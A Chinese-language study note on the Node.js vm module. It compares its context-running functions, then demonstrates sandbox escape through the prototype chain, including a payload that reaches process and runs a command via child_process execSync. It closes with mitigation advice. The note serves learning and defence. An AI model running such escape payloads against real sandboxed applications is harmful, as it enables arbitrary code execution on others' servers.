前言

看了看nodejs的东西,其实了解的都不太深,先记录一下vm模块和沙箱逃逸吧,后面有时间会接着往后面学习nodejs

nodejs

什么是nodejs

Node.js是一个基于Chrome V8引擎的JavaScript运行环境,一个让JavaScript 运行在服务端的开发平台,它让JavaScript 成为与PHP、Python、Perl、Ruby 等服务端语言平起平坐的脚本语言。简单点说就是运行在后端的JavaScript。

nodejs中vm模块

VM模块是NodeJS里面的核心模块,支撑了require方法和NodeJS的运行机制,我们有些时候可能也要用到VM模板来做一些特殊的事情。

通过VM,JS可以被编译后立即执行或者编译保存下来稍后执行
VM模块包含了三个常用的方法,用于创建独立运行的沙箱体制,如下三个方法
vm.runInThisContext(code, filename);
此方法用于创建一个独立的沙箱运行空间,code内的代码可以访问外部的global对象,但是不能访问其他变量

而且code内部global与外部共享,比如说

var vm = require("vm");
 
var p = 5;
global.p = 11;
 
vm.runInThisContext("console.log('ok', p)");// 显示global下的11
vm.runInThisContext("console.log(global)"); // 显示global
 
console.log(p);// 显示5

vm.runInContext(code, sandBox);
此方法用于创建一个独立的沙箱运行空间,sandBox 将做为 global 的变量传入 code 内,但不存在 global 变量
sandBox 要求是 vm.createContext() 方法创建的 sandBox

var vm = require("vm");
var util = require("util");
 
var window = {
    p: 2,
    vm: vm,
    console: console,
    require: require
};
 
var p = 5;
 
global.p = 11;
 
vm.createContext(window);
vm.runInContext('p = 3;console.log(typeof global);', window); // global是undefined
 
console.log(window.p);// 被改变为3
 
console.log(util.inspect(window));

vm.runInNewContext(code, sandbox, opt);
这个方法应该和 runInContext 一样,但是少了创建 sandBox 的步骤,要求更加严格,只接受第二个参数传入的变量,而外面的全局变量与方法,甚至console.log都不支持

做一个简单的比较

沙盒逃逸

node.js 在 vm 的文档页上有如下描述:

vm 模块不是安全的机制。 不要使用它来运行不受信任的代码
先看一段代码

const vm = require("vm");

const a = {};

vm.runInNewContext('this.constructor.constructor("return process")().exit()', a);
console.log("Never gets executed.");

由于经过逃逸,完成了exit(),所以并不会输出最后的语句,借用一下o3师傅的图

也就是说this指向的是a,那么a.construct指的是object,不太理解可以看看
https://www.cnblogs.com/purplefox2008/p/5231105.html 简单点说也就是指向的他的构造函数,然后通过原型链向上走,那么a.construct.construct也就是function的意思了。
而逃逸后也可以通过拿到require模块去进行恶意代码执行:

const vm = require("vm");

const a = {};
console.log(a.constructor)
console.log(a.constructor.constructor)
vm.runInNewContext(`var b = this.constructor.constructor("return process")();
var c = b.mainModule.constructor._load('child_process').execSync('calc').toString();
`, a);

以上是通过原型链方式完成逃逸,如果将上下文对象的原型链设置为 null 呢?

const a = Object.create(null);

可以看到这样是防止了逃逸,但如果再给a加上一个对象的话

发现又能成功逃逸了
原来是因为由于 JS 里所有对象的原型链都会指向 Object.prototype,且 Object.prototype 和 Function 之间是相互指向的,所有对象通过原型链都能拿到 Function,最终完成沙盒逃逸并执行代码。

为了解决vm的安全问题,于是vm2又诞生出来了,其实vm2也是基于vm的,但是它用了代理技术来防止沙箱逃逸,vm2也等后面有时间的时候再继续啃吧,不过关于js的很多东西可以看看这篇文章https://xz.aliyun.com/t/7842#toc-1

本来想找道题来加深一下,不过没找到环境,但看师傅们文章,感觉这道题挺有意思的,就用feng师傅的wp看吧:https://blog.csdn.net/rfrder/article/details/113823417

总结

由于语言的特性,在沙盒环境下通过原型链的方式能获取全局的 Function,并通过它来执行代码。
最终确实如官方所说,在使用 vm 的时应确保所运行的代码是可信任的。
eval/Function/vm 等可动态执行代码的功能在 JavaScript 里一定是用来执行可信任代码。

解决方案

事前处理,如:代码安全扫描、语法限制
使用 vm2 模块,它的本质就是通过代理的方式来进行安全校验,虽然也可能还存在未出现的逃逸方式,所以在使用时也谨慎对待。
自己实现解释器,并在解释器层接管所有对象创建及属性访问。